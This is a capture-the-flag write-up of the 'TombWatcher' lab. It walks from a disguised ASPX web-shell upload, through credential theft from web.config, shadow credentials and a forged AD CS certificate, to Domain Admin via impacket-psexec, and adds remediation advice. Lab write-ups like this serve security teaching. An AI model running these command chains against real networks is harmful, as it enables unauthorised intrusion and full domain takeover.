TombWatcher
Summary
Tombwatcher ($TARGET, TOMBWATCHER.HTB) is a Windows Active Directory domain controller that also exposed an IIS web front end. An insecure file-upload feature on that IIS site gave code execution and exposed a working domain credential for TOMBWATCHER\john, which was used over WinRM to establish a foothold and capture user.txt.
Active Directory rights enumeration then showed john sat at the head of a permission chain into the cert_admin account, and cert_admin in turn held enrollment rights on a misconfigured Active Directory Certificate Services (AD CS) template. Abusing that ESC-style template misconfiguration produced a forged certificate for the Administrator account, yielding Domain Administrator credentials that were used with impacket-psexec to obtain a SYSTEM-level shell and capture root.txt — a complete web-to-Domain-Admin compromise chain.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD2="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered>"Some commands also carry a value in angle brackets — <cert_admin_credential> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 2
Full TCP sweep confirming the AD DC service footprint.
$ nmap -p- -sC -sV -Pn $TARGET -oN tombwatcher_full.txtValidate candidate usernames (henry, alfred, sam, john) via Kerberos pre-auth without needing a password.
$ kerbrute userenum --dc $TARGET -d tombwatcher.htb candidate_users.txtExact commands 3
Upload a disguised ASPX web shell; adjust the field name/path to the actual discovered upload endpoint.
$ curl -sk -F "file=@shell.aspx;type=image/jpeg" http://tombwatcher.htb/FileUpload/UploadTrigger the uploaded shell to confirm code execution as the IIS app-pool identity.
$ curl -sk 'http://tombwatcher.htb/FileUpload/uploads/shell.aspx?cmd=whoami'Pull application configuration to recover the exposed domain credential for john.
$ curl -sk 'http://tombwatcher.htb/FileUpload/uploads/shell.aspx?cmd=type+web.config'FixFix the insecure file-upload feature on the IIS web applicationHigh
Exact commands 2
Prove the session runs as TOMBWATCHER\john before reading the flag.
$ ruby /tmp/tombwatcher_ps_exec.rb $TARGET 'TOMBWATCHER\john' "$PASSWORD3" 'whoami'
TOMBWATCHER\johnRead the user flag — replace the reported value with <user.txt>.
$ ruby /tmp/tombwatcher_ps_exec.rb $TARGET 'TOMBWATCHER\john' "$PASSWORD3" 'Get-Content C:\Users\john\Desktop\user.txt'Exact commands 2
Collect AD relationship data to map ACL abuse paths from john toward higher-value accounts.
$ bloodhound-python -u john -p "$PASSWORD3" -d tombwatcher.htb -ns $TARGET -c AllAbuse the discovered write right to add Shadow Credentials to cert_admin and authenticate as it via PKINIT.
$ certipy shadow auto -u john -p "$PASSWORD3" -account cert_admin -dc-ip $TARGETFixRemove excessive Active Directory delegated permissionsHigh
Exact commands 3
Enumerate certificate templates for ESC-style misconfigurations reachable by cert_admin.
$ certipy find -u cert_admin -p '<cert_admin_credential>' -dc-ip $TARGET -vulnerableRequest a certificate impersonating the Administrator UPN via the vulnerable template.
$ certipy req -u cert_admin -p '<cert_admin_credential>' -ca TOMBWATCHER-CA -template <VulnerableTemplate> -upn administrator@tombwatcher.htb -dc-ip $TARGETAuthenticate with the forged certificate via PKINIT to recover Administrator's NT hash/TGT.
$ certipy auth -pfx administrator.pfx -dc-ip $TARGETFixRemediate the vulnerable AD CS certificate templateCritical
certipy find -vulnerable) or PSPKIAudit; remove ENROLLEE_SUPPLIES_SUBJECT and unnecessary Client Authentication EKUs from templates available to non-Tier-0 principals; restrict enrollment rights to the accounts that genuinely need them.Exact commands 2
Prove SYSTEM-level access before reading the flag.
$ impacket-psexec "TOMBWATCHER/administrator:$PASSWORD2@$TARGET" 'whoami'Read the root flag — replace the reported value with <root.txt>.
$ impacket-psexec "TOMBWATCHER/administrator:$PASSWORD2@$TARGET" 'cmd.exe /c type C:\Users\Administrator\Desktop\root.txt'FixRestrict and monitor administrative lateral movement via SMB admin sharesHigh
Attack patterns used
The transferable techniques behind this compromise.
AD CS Abuse (ESC1–ESC8)Active Directory · CertificatesT1649
What it is
Active Directory Certificate Services can be abused when certificate templates or the CA are misconfigured. The ESC family (ESC1: enrollee-supplied SAN; ESC8: NTLM relay to the web-enrollment endpoint; etc.) lets an unauthorised user obtain a certificate that authenticates as a higher-privileged user, then use it for Kerberos PKINIT to get that user's TGT.
Why it works
Certificates are long-lived authentication material; a single permissive template (ENROLLEE_SUPPLIES_SUBJECT + client-auth EKU + low enroll rights) is enough to mint an admin identity. Tools certipy/Certify find and exploit these. Remediate per the SpecterOps 'Certified Pre-Owned' guidance.
Read more
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
Exposed services
| 53/tcp | dns recon-sweep-discovered |
| 80/tcp | http Microsoft IIS httpd 10.0 |
| 88/tcp | unknown recon-sweep-discovered |
| 135/tcp | rpc recon-sweep-discovered |
| 139/tcp | smb recon-sweep-discovered |
| 389/tcp | ldap recon-sweep-discovered |
| 445/tcp | smb recon-sweep-discovered |
| 464/tcp | unknown recon-sweep-discovered |
| 593/tcp | http recon-sweep-discovered |
| 636/tcp | ldap recon-sweep-discovered |
| 3268/tcp | ldap recon-sweep-discovered |
| 3269/tcp | unknown recon-sweep-discovered |
| 5985/tcp | winrm recon-sweep-discovered |
| 9389/tcp | unknown recon-sweep-discovered |
| 49666/tcp | unknown recon-sweep-discovered |
| 49691/tcp | unknown recon-sweep-discovered |
| 49692/tcp | unknown recon-sweep-discovered |
| 49693/tcp | unknown recon-sweep-discovered |
| 49711/tcp | unknown recon-sweep-discovered |
| 49714/tcp | unknown recon-sweep-discovered |
| 53/udp | domain |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.